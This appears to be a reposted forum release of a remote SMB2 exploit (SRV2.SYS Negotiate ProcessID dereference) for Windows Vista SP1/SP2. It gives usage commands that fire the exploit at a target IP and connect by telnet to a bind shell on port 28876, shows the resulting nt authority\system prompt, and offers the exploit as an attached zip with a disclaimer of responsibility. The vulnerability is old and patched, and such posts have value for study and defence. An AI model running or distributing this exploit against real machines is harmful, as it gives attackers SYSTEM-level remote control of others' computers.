Microsoft SRV2.SYS SMB Negotiate ProcessID Function Table Dereference  

---------------------------------------------------------------------  

   

Exploited by Piotr Bania // b6bK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4m8A6L8%4c8J5j5X3q4F1K9h3q4Q4x3X3g2U0L8$3#2Q4x3U0k6F1j5Y4y4H3i4K6y4n7i4K6t1$3L8X3u0K6M7q4)9K6b7R3`.`.

Exploit for Vista SP2/SP1 only, should be reliable!  

   

Tested on:  

Vista sp2 (6.0.6002.18005)  

Vista sp1 ultimate (6.0.6001.18000)  

   

Kudos for:  

Stephen, HDM, Laurent Gaffie(bug) and all the mates i know, peace.  

Special kudos for prdelka for testing this shit and all the hosters.  

   

   

Sample usage  

------------  

   

> smb2_exploit.exe 192.167.0.5 45 0  

> telnet 192.167.0.5 28876  

   

Microsoft Windows [Version 6.0.6001]  

Copyright (c) 2006 Microsoft Corporation.  All rights reserved.  

   

C:\Windows\system32>whoami  

whoami  

nt authority\system  

C:\Windows\system32>  

   

When all is done it should spawn a port TARGET_IP:28876  

   

   

RELEASE UPDATE 08/2010:  

----------------------  

This exploit was created almost a year ago and wasnt modified from that time  

whatsoever. The vulnerability itself is patched for a long time already so  

i have decided to release this little exploit. You use it for your own  

responsibility and im not responsible for any potential damage this thing  

can cause. Finally i don't care whether it worked for you or not.  

   

P.S the technique itself is described here:  

763K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3u0D9L8$3N6Q4x3X3g2E0k6i4c8S2M7%4m8D9L8$3W2@1i4K6u0W2j5$3!0E0i4K6u0r3x3U0l9H3z5g2)9J5c8U0p5H3i4K6u0r3M7$3#2T1x3W2)9J5k6o6x3#2x3g2)9J5k6s2m8S2j5$3E0W2N6s2y4Q4x3X3c8X3M7X3!0E0i4K6u0V1N6s2u0S2L8i4m8G2L8r3W2F1k6g2)9J5k6h3S2@1L8h3I4Q4x3U0k6F1j5Y4y4H3i4K6y4n7i4K6t1$3L8X3u0K6M7q4)9K6b7R3`.`.

   

===========================================================================

[培训]内核驱动高级班，冲击BAT一流互联网大厂工作，每周日13:00-18:00直播授课

上传的附件：

• smb2_exploit_release.zip （137.07kb，29次下载）